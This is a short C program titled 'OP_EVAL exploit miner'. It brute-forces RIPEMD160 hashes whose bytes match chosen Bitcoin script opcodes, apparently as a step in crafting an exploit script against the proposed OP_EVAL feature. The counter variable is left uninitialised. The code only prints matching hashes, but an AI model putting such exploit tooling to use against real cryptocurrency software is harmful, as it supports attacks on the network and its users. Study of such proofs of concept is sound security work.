OP_EVAL exploit miner

main.c

#include <stdio.h>
#include <openssl/ripemd.h>
#include <openssl/rand.h>

void print_hex(unsigned char *bytes, unsigned int len) {
  int i;
  for (i = 0; i < len; i++) {
    printf("%02X", bytes[i]);
  }
  printf("\n");
}

main()
{
  union nonce_t {
    unsigned char b[8];
    unsigned long long i;
  } nonce;
  unsigned char digest[20];

  unsigned int i;
  for (;;) {
    RAND_bytes(nonce.b, sizeof(nonce));
    RIPEMD160(nonce.b, sizeof(nonce), digest);
    if (
      digest[0] == 174 && // OP_CHECKMULTISIG
      digest[1] ==  76 && // OP_PUSHDATA1
      digest[2] ==  16    // 0x16
    ) {
      // We'll print status info on partial hits, just to make things more
      // interesting.
      printf("%llx\n", nonce.i);
      print_hex(digest, 20);

      // Check for full hit
      if (digest[19] == 117) // OP_DROP
        return;
    }

    if ((++i % 1000000) == 0) printf("%u\n", i);
  }
}